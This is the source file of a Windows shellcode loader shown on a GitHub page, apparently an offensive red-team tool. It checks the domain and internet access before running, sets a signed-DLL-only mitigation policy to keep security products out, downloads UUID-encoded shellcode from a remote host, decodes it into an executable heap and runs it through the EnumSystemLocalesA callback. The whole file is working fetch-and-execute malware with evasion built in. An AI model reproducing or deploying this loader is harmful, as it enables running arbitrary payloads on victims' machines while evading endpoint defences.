-
Notifications
You must be signed in to change notification settings - Fork 22
/
Copy pathuuidfromstring.cpp
185 lines (118 loc) · 4.02 KB
/
uuidfromstring.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
/*
UUID Loader
Author - 0xpwnisher
*/
#include "headers.h"
#include "checks.h"
#include "apiresolv.h"
#include "downloader.h"
#pragma comment(lib, "Rpcrt4.lib")
#define HASH_KERNEL32 0x16a58fe2
typedef HANDLE(WINAPI* _HeapCreate)(
DWORD flOptions,
SIZE_T dwInitialSize,
SIZE_T dwMaximumSize
);
typedef LPVOID(WINAPI* _HeapAlloc)(
HANDLE hHeap,
DWORD dwFlags,
SIZE_T dwBytes
);
typedef RPC_STATUS(RPC_ENTRY* _UuidtoString)(
RPC_CSTR StringUuid,
UUID* Uuid
);
typedef BOOL(WINAPI* _EnSysLocal)(
LOCALE_ENUMPROCA lpLocaleEnumProc,
DWORD dwFlags);
typedef BOOL(WINAPI* _Chandle)(
HANDLE hObject
);
typedef BOOL(WINAPI* _SetProcessMitigationPolicy)(
PROCESS_MITIGATION_POLICY MitigationPolicy,
PVOID lpBuffer,
SIZE_T dwLength
);
typedef HMODULE(WINAPI* _pLoadLibraryA)(
_In_ LPCSTR lpLibFileName
);
DWORD dllpolicy() {
PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY sp = {};
sp.MicrosoftSignedOnly = 1;
HMODULE Hmod = GetModuleHandleA("Kernel32.dll");
_SetProcessMitigationPolicy SetPolicy = (_SetProcessMitigationPolicy)GetProcAddress(Hmod, "SetProcessMitigationPolicy");
PROCESS_MITIGATION_POLICY policy = ProcessSignaturePolicy;
SetPolicy(policy, &sp, sizeof(sp));
return 0;
}
DWORD codepolicy() {
PROCESS_MITIGATION_DYNAMIC_CODE_POLICY sp = {};
sp.ProhibitDynamicCode = 1;
HMODULE Hmod = GetModuleHandleA("Kernel32.dll");
_SetProcessMitigationPolicy SetPolicy = (_SetProcessMitigationPolicy)GetProcAddress(Hmod, "SetProcessMitigationPolicy");
PROCESS_MITIGATION_POLICY policy = ProcessDynamicCodePolicy;
SetPolicy(policy, &sp, sizeof(sp));
return 0;
}
int main()
{
// all safety checks must happen here else just return
if (!DomainCheck()|| !checkinternet()) {
return 0;
}
printf(" [*] All Safety Checks Passed\n");
printf(" [*] Initializing Staging\n");
// Two optional features
dllpolicy();
// codepolicy();
HMODULE rpcdll = GetModuleHandleA("Rpcrt4.dll");
HMODULE Hmod = GetModuleHandleA("Kernel32.dll");
_HeapCreate HeapC = (_HeapCreate)GetProcAddress(Hmod, "HeapCreate");
_HeapAlloc HeapAC = (_HeapAlloc)GetProcAddress(Hmod, "HeapAlloc");
_EnSysLocal ensys = (_EnSysLocal)GetProcAddress(Hmod, "EnumSystemLocalesA");
_UuidtoString uuid = (_UuidtoString)GetProcAddress(rpcdll, "UuidFromStringA");
_Chandle CHandle = (_Chandle)GetProcAddress(Hmod, "CloseHandle");
HANDLE hc = HeapC(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
void* ha = HeapAC(hc, 0, 0x100000);
DWORD_PTR hptr = (DWORD_PTR)ha;
// all good proceed to staging shellcode
char* buf = download();
// printf("Outout: %s\n", buf);
char* p2str;
char* uuids[50000];
char* token;
token = strtok_s(buf, "\n", &p2str);
// printf("Token: %s\n", token);
int i = 0;
while ((token != NULL)) {
if (token != NULL) {
uuids[i] = token;
token = strtok_s(NULL, "\n", &p2str);
i++;
}
}
// printf("Value if i : %d", i);
int elems = i;
for (int i = 0; i < elems; i++) {
// printf("[+] Token '%d' - %s\n", i, uuids[i]);
}
// printf("length : %d\n", sizeof(uuids));
// printf("first: %s\n", uuids[0]);
for (int i = 0; i < elems; i++) {
// Dynamic Resolve UUIDfromStringA function also
RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)hptr);
if (status != RPC_S_OK) {
printf("UuidFromStringA() != S_OK\n");
CHandle(ha);
return -1;
}
hptr += 16;
}
printf(" [*] Hexdump: ");
for (int i = 0; i < elems * 16; i++) {
printf("%02X ", ((unsigned char*)ha)[i]);
}
ensys((LOCALE_ENUMPROCA)ha, 0);
CHandle(ha);
return 0;
}